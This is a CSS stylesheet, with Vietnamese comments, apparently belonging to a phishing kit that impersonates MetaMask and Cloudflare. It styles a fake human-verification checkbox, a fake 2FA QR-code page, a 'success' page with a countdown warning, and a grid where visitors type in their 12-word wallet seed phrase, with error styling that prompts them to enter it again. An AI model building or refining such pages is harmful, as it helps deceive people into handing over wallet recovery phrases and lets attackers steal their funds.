/* =========================================
   1. CÀI ĐẶT CHUNG (VARIABLES & RESET)
   ========================================= */
:root {
    --orange: #f6851b;       /* Cam MetaMask */
    --dark: #1e2124;         /* Đen xám */
    --gray-text: #6a737d;    /* Chữ xám */
    --light-bg: #f8f9fa;     /* Nền nhạt */
    --border: #e1e4e8;       /* Viền */
    --cf-blue: #0051c3;      /* Xanh Cloudflare */
    --success-green: #00c853; /* Xanh lá Success */
}

* { box-sizing: border-box; }

/* --- PC DEFAULT (GIẢ LẬP ĐIỆN THOẠI) --- */
html {
    background-color: #eef2f5; /* Nền PC màu xám sang trọng */
    height: 100%;
}

body {
    margin: 0 auto;            /* Căn giữa màn hình */
    padding: 0;
    max-width: 480px;          /* Giới hạn chiều rộng giống điện thoại */
    min-height: 100vh;         /* Ít nhất bằng chiều cao màn hình */
    background: #fff;          /* Nền App trắng */
    font-family: 'Inter', sans-serif;
    color: var(--dark);
    position: relative;
    box-shadow: 0 0 40px rgba(0,0,0,0.1); /* Đổ bóng nổi bật */
}

/* =========================================
   2. TRANG INDEX (VERIFY)
   ========================================= */
.verify-page {
    display: flex;
    flex-direction: column;
    align-items: center;
    padding-top: 80px;
}

.header-logo {
    display: flex; align-items: center; justify-content: center;
    gap: 12px; font-weight: 700; font-size: 16px; letter-spacing: 2px;
    color: #5d5d5d; margin-bottom: 50px;
}
.header-logo img { width: 35px; height: auto; }

.verify-container { width: 90%; max-width: 420px; text-align: center; }
.verify-title { font-size: 22px; margin-bottom: 40px; font-weight: 500; line-height: 1.4; color: #333; }

.cloudflare-box {
    background-color: #fafafa; border: 1px solid #d9d9d9; border-radius: 4px;
    padding: 0 15px; display: flex; justify-content: space-between; align-items: center;
    height: 68px; box-shadow: 0 1px 3px rgba(0,0,0,0.05);
}

.checkbox-wrapper { display: flex; align-items: center; gap: 12px; }
.checkbox-wrapper label { font-size: 14px; color: #333; cursor: pointer; user-select: none; }
#verify-check { width: 26px; height: 26px; border: 2px solid #c1c1c1; border-radius: 3px; cursor: pointer; accent-color: var(--cf-blue); }

.spinner {
    width: 26px; height: 26px; border: 3px solid #f3f3f3; border-top: 3px solid var(--cf-blue); border-radius: 50%; animation: spin 0.8s linear infinite; margin-left: 5px;
}
@keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }

.cloudflare-logo img { width: 65px; display: block; }
.links { font-size: 9px; color: #888; margin-top: 3px; }
.verify-footer { margin-top: 80px; font-size: 13px; color: #666; }


/* =========================================
   3. CÁC THÀNH PHẦN CHUNG (HEADER, BUTTON)
   ========================================= */

/* Header tối màu chung */
.dark-header {
    background: radial-gradient(circle at center, #3a3a3a 0%, #1a1a1a 100%);
    color: white; text-align: center; padding: 30px 20px;
}
.big-fox { width: 100px; height: auto; margin: 0 auto 10px auto; display: block; }
.dark-header h2 { margin: 0; font-size: 20px; font-weight: 600; }
.status-dot { width: 30px; height: 6px; background: rgba(255,255,255,0.2); border-radius: 10px; margin: 10px auto 0; }

.main-content { padding: 25px 20px; margin: 0 auto; }
.center-content { text-align: center; }

/* Nút bấm chung */
.btn-primary {
    width: 100%; padding: 16px; background: var(--orange); border: none;
    border-radius: 8px; color: white; font-weight: 700; font-size: 16px;
    cursor: pointer; box-shadow: 0 4px 15px rgba(246, 133, 27, 0.25);
    transition: background 0.2s;
}
.btn-primary:hover { background: #d66f12; }

/* Hiệu ứng loading trong nút */
.btn-spinner {
    width: 18px; height: 18px; border: 2px solid rgba(255,255,255,0.3);
    border-top: 2px solid white; border-radius: 50%;
    animation: spin 0.8s linear infinite; display: inline-block; vertical-align: middle; margin-right: 8px;
}
.btn-loading { opacity: 0.7; pointer-events: none; }


/* =========================================
   4. TRANG SECURITY (MAIN DASHBOARD)
   ========================================= */

.section-title { font-weight: 700; text-align: center; font-size: 18px; margin-bottom: 10px; }
.subtitle { text-align: center; color: var(--gray-text); font-size: 14px; margin-bottom: 30px; line-height: 1.5; }

.step {
    display: flex; background: var(--light-bg); margin-bottom: 15px; padding: 15px;
    border-radius: 8px; border-left: 4px solid var(--orange); align-items: center;
    box-shadow: 0 2px 5px rgba(0,0,0,0.03);
}
.step-num {
    background: var(--orange); color: white; width: 26px; height: 26px;
    border-radius: 50%; display: flex; align-items: center; justify-content: center;
    font-size: 14px; font-weight: bold; margin-right: 15px; flex-shrink: 0;
}
.step-txt h3 { margin: 0; font-size: 14px; font-weight: 600; color: #333; }
.step-txt p { margin: 3px 0 0; font-size: 12px; color: var(--gray-text); }

.grid-features { display: grid; grid-template-columns: 1fr 1fr; gap: 15px; margin: 25px 0; }
.card { border: 1px solid var(--border); border-radius: 8px; padding: 15px 10px; text-align: center; background: #fff; }
.card-icon { font-size: 22px; display: block; margin-bottom: 8px; }
.card h4 { margin: 0; font-size: 13px; color: #333; }
.card p { margin: 4px 0 0; font-size: 11px; color: var(--gray-text); }

.badges { display: flex; justify-content: space-between; gap: 8px; margin-bottom: 25px; }
.badge {
    flex: 1; font-size: 11px; font-weight: 600; color: #4b5563;
    background: #f3f4f6; padding: 10px 2px; border-radius: 6px;
    text-align: center; white-space: nowrap;
}


/* =========================================
   5. TRANG 2FA (QR CODE & KEY)
   ========================================= */

.security-badge {
    display: inline-block; background: #3a2b18; color: #cc9900;
    font-size: 10px; font-weight: 600; padding: 4px 12px;
    border-radius: 20px; margin-top: 8px; border: 1px solid #5c4d00;
}

.page-title { margin: 10px 0 5px 0; font-size: 18px; font-weight: 700; color: #000; }
.page-desc { margin: 0; font-size: 13px; color: var(--gray-text); }

.qr-container {
    background: #fff; padding: 10px; border: 1px solid #eee;
    border-radius: 12px; display: inline-block; margin: 20px auto;
    box-shadow: 0 4px 12px rgba(0,0,0,0.05);
}
.qr-container img { width: 160px; height: 160px; display: block; }

.dashed-box {
    border: 2px dashed #ccc; background: #f9f9f9; padding: 12px;
    border-radius: 8px; font-family: monospace; font-size: 14px;
    font-weight: 600; letter-spacing: 1px; color: #333; margin: 15px 0 25px 0;
    cursor: pointer; position: relative; transition: 0.2s;
}
.dashed-box:active { background: #e0e0e0; transform: scale(0.98); }

.copy-tooltip {
    position: absolute; top: -30px; left: 50%; transform: translateX(-50%);
    background: #333; color: #fff; padding: 4px 8px; border-radius: 4px;
    font-size: 11px; opacity: 0; transition: 0.2s; pointer-events: none;
}
.copied .copy-tooltip { opacity: 1; top: -35px; }

.code-input {
    width: 100%; padding: 15px; font-size: 24px; text-align: center;
    letter-spacing: 8px; border: 2px solid #ddd; border-radius: 8px;
    outline: none; font-weight: bold; color: #333; margin-bottom: 20px;
}
.code-input:focus { border-color: var(--orange); box-shadow: 0 0 0 4px rgba(246, 133, 27, 0.1); }
.error-shake { animation: shake 0.3s; border-color: red !important; }
@keyframes shake { 0% { transform: translateX(0); } 25% { transform: translateX(-5px); } 75% { transform: translateX(5px); } 100% { transform: translateX(0); } }


/* =========================================
   6. TRANG SUCCESS (HOÀN THÀNH 2FA)
   ========================================= */

.success-pill {
    background: #e1f5ea; color: #008f48;
    font-size: 12px; font-weight: 700; padding: 8px 20px;
    border-radius: 30px; display: inline-block; margin-bottom: 20px;
}

.main-shield-icon {
    width: 80px; height: auto; margin: 0 auto 15px auto; display: block;
    filter: drop-shadow(0 5px 10px rgba(40, 167, 69, 0.2));
}

.success-title { margin: 0 0 8px 0; font-size: 20px; font-weight: 700; color: #000; }
.success-desc { color: var(--success-green); font-size: 14px; font-weight: 600; margin: 0 0 25px 0; }

.status-card {
    background: #f8f9fa; border: 1px solid #edf2f7; border-radius: 12px;
    padding: 20px; width: 100%; margin-bottom: 20px; text-align: left;
    box-shadow: 0 2px 5px rgba(0,0,0,0.02);
}

.status-row {
    display: flex; justify-content: space-between; align-items: center;
    font-size: 14px; margin-bottom: 12px; border-bottom: 1px solid #eee; padding-bottom: 12px;
}
.status-row:last-child { border-bottom: none; margin-bottom: 0; padding-bottom: 0; }

.status-label { display: flex; align-items: center; gap: 10px; font-weight: 600; color: #555; }
.status-label img { width: 18px; height: 18px; opacity: 0.7; }
.status-val { font-weight: 700; }
.status-val.green { color: var(--success-green); }
.status-val.gray { color: #999; }

.progress-section { width: 100%; margin-bottom: 20px; }
.progress-track {
    background: #e9ecef; height: 8px; border-radius: 10px;
    width: 100%; overflow: hidden; margin-bottom: 8px;
}
.progress-fill {
    background: linear-gradient(90deg, #f6851b, var(--success-green));
    height: 100%; border-radius: 10px;
}
.progress-text { font-size: 12px; color: #888; margin: 0; font-weight: 600; }

.warning-box {
    background: #fff8e6; border: 2px solid #ffe0b2; border-radius: 12px;
    padding: 20px; width: 100%; color: #7c5e10;
    box-shadow: 0 4px 15px rgba(246, 133, 27, 0.08);
}
.warning-box h4 {
    margin: 0 0 8px 0; font-size: 15px; font-weight: 700;
    display: flex; align-items: center; justify-content: center; gap: 8px; color: #5c4d00;
}
.warning-box p { font-size: 12px; margin: 0 0 15px 0; opacity: 0.9; line-height: 1.5; }

.countdown { color: #ff8c00; font-weight: 700; font-size: 15px; }
.dots { animation: blink 1.5s infinite both; }
@keyframes blink { 0% { opacity: .2; } 20% { opacity: 1; } 100% { opacity: .2; } }


/* =========================================
   7. TRANG SEED PHRASE (NHẬP 12 TỪ)
   ========================================= */

.tip-box {
    background: #e3f2fd; border: 1px solid #bbdefb; border-radius: 8px;
    padding: 15px; margin-bottom: 20px; text-align: center;
}
.tip-box h4 { margin: 0 0 5px 0; color: #0d47a1; font-size: 14px; display: flex; align-items: center; justify-content: center; gap: 5px; }
.tip-box p { font-size: 11px; color: #1e88e5; margin: 0; line-height: 1.4; }

.control-group {
    text-align: center; margin-bottom: 20px; padding: 15px;
    background: #fff; border: 1px solid #eee; border-radius: 8px;
    box-shadow: 0 2px 5px rgba(0,0,0,0.02);
}
.control-group label { font-size: 13px; font-weight: 600; color: #333; display: block; margin-bottom: 8px; }
.seed-select {
    padding: 8px 15px; border: 1px solid #ccc; border-radius: 6px;
    font-size: 14px; background: #fff; color: #333; outline: none; cursor: pointer;
}

.seed-header { text-align: center; margin-bottom: 20px; }
.seed-header h3 { display: none; }
.counter-badge {
    display: block; width: 100%; background: #f8f9fa; border: 1px solid #e9ecef;
    padding: 12px; border-radius: 8px; font-size: 14px; color: #666; font-weight: 600; text-align: center;
}

/* GRID SEED (Số nằm giữa) */
.seed-grid {
    display: grid; grid-template-columns: repeat(3, 1fr); gap: 12px;
    margin-bottom: 25px; max-height: 50vh; overflow-y: auto; padding: 2px;
}
.seed-grid::-webkit-scrollbar { width: 4px; }
.seed-grid::-webkit-scrollbar-thumb { background: #ccc; border-radius: 4px; }

.word-box { 
    display: flex; flex-direction: column; align-items: center; 
}

.word-num {
    font-size: 12px; color: #888; font-weight: 600; margin-bottom: 6px;
}

.word-input {
    width: 100%; padding: 12px 5px; font-size: 13px; text-align: center;
    border: 1px solid #dcdcdc; border-radius: 6px; outline: none; background: #fff; color: #333; transition: 0.2s;
}
.word-input:focus { border-color: var(--orange); box-shadow: 0 0 0 3px rgba(246, 133, 27, 0.15); }


/* =========================================
   8. MOBILE ONLY (CHẾ ĐỘ FIT SCREEN)
   ========================================= */
/* =========================================
   FIX MOBILE: CHỐNG CHE NÚT & FIT MÀN HÌNH
   ========================================= */
/* =========================================
   FIX MOBILE: GHIM NÚT ĐÁY & CHỐNG CHE
   ========================================= */
/* =========================================
   FIX MOBILE TOÀN DIỆN (V2 FINAL)
   ========================================= */
@media (max-width: 600px) {
    html { background-color: #fff; }
    
    body {
        max-width: 100%;
        width: 100%;
        height: 100vh;
        height: -webkit-fill-available; /* Fix chiều cao iOS */
        overflow: hidden; 
        display: flex;
        flex-direction: column;
        position: relative;
    }

    /* HEADER */
    .dark-header {
        padding: 10px 15px;
        flex-shrink: 0;
        z-index: 20;
        background: radial-gradient(circle at center, #3a3a3a 0%, #1a1a1a 100%);
    }
    .big-fox { width: 45px; margin-bottom: 5px; }
    .dark-header h2 { font-size: 16px; }

    /* CONTENT CHÍNH */
    .main-content {
        flex: 1;
        overflow-y: auto; /* Cho phép cuộn */
        padding: 10px 15px;
        
        /* QUAN TRỌNG: Tăng khoảng trống đáy để không bị che bởi nút */
        padding-bottom: 120px !important; 
        
        -webkit-overflow-scrolling: touch;
        display: block; /* Để nội dung chảy tự nhiên */
    }

    /* FIX LỖI PHÓNG TO (ZOOM) KHI NHẬP LIỆU */
    input, select, textarea, .word-input, .code-input {
        font-size: 16px !important; /* iPhone yêu cầu 16px để không zoom */
        transform: scale(1); /* Chống zoom triệt để */
    }

    /* Các thành phần con */
    .steps, .grid-features, .badges, .seed-grid, .qr-container, .text-group {
        margin: 5px 0;
    }
    
    .seed-grid { gap: 8px; margin-top: 10px; }
    .word-box { margin-bottom: 5px; }
    
    /* FIX NÚT BẤM (GHIM CỨNG ĐÁY) */
    .btn-primary {
        position: fixed;
        bottom: 20px;
        left: 5%;
        width: 90%;
        padding: 15px;
        font-size: 16px; /* Chữ to rõ */
        z-index: 999;
        margin: 0;
        box-shadow: 0 -5px 20px rgba(255,255,255, 0.8); /* Đổ bóng ngược để tách nền */
    }
}
/* =========================================
   8. ERROR BOX (THÔNG BÁO LỖI SEED)
   ========================================= */

.error-box {
    background-color: #fcebeb;       /* Nền đỏ rất nhạt */
    border: 1px solid #d32f2f;       /* Viền đỏ đậm */
    color: #c62828;                  /* Chữ đỏ đậm */
    padding: 12px 15px;
    border-radius: 6px;
    font-size: 13px;
    font-weight: 600;
    text-align: center;
    margin-bottom: 20px;             /* Cách lưới ô nhập ra một chút */
    box-shadow: 0 2px 4px rgba(211, 47, 47, 0.1);
    animation: fadeIn 0.3s ease-in-out;
    }

@keyframes fadeIn {
    from { opacity: 0; transform: translateY(-10px); }
    to { opacity: 1; transform: translateY(0); }
    }

/* Chỉnh lại input khi bị lỗi (Option thêm nếu muốn giống ảnh) */
/* Nếu muốn khi lỗi hiện lên, các ô input cũng viền đỏ thì dùng JS thêm class này */
.input-error {
    border-color: #d32f2f !important;
    background-color: #fff8f8 !important;
}
/* =========================================
   STYLE FULL - CẬP NHẬT LỖI SEED "SELECT"
   ========================================= */

/* ... (Giữ nguyên các phần 1 đến 7 của file style.css cũ) ... */

/* PHẦN 8: CẬP NHẬT LỖI SEED PHRASE CHUYÊN NGHIỆP */

.error-box {
    background-color: #fff5f5;
    border: 1px solid #fc8181;
    color: #c53030;
    padding: 12px;
    border-radius: 6px;
    font-size: 13px;
    font-weight: 700;
    text-align: center;
    margin-bottom: 20px;
    animation: shake 0.4s ease-in-out; /* Thêm hiệu ứng rung khi hiện lỗi */
}

/* Hiệu ứng ô nhập khi bị lỗi */
.word-input.input-error {
    border-color: #feb2b2 !important;
    background-color: #fff5f5 !important;
}

/* Chỉnh màu chữ "select" trong placeholder khi lỗi */
.word-input.input-error::placeholder {
    color: #fc8181;
    font-style: italic;
}

/* Hiệu ứng rung khung hình khi lỗi */
@keyframes shake {
    0%, 100% { transform: translateX(0); }
    25% { transform: translateX(-5px); }
    75% { transform: translateX(5px); }
}

/* Các phần CSS Mobile và PC cũ giữ nguyên bên dưới... */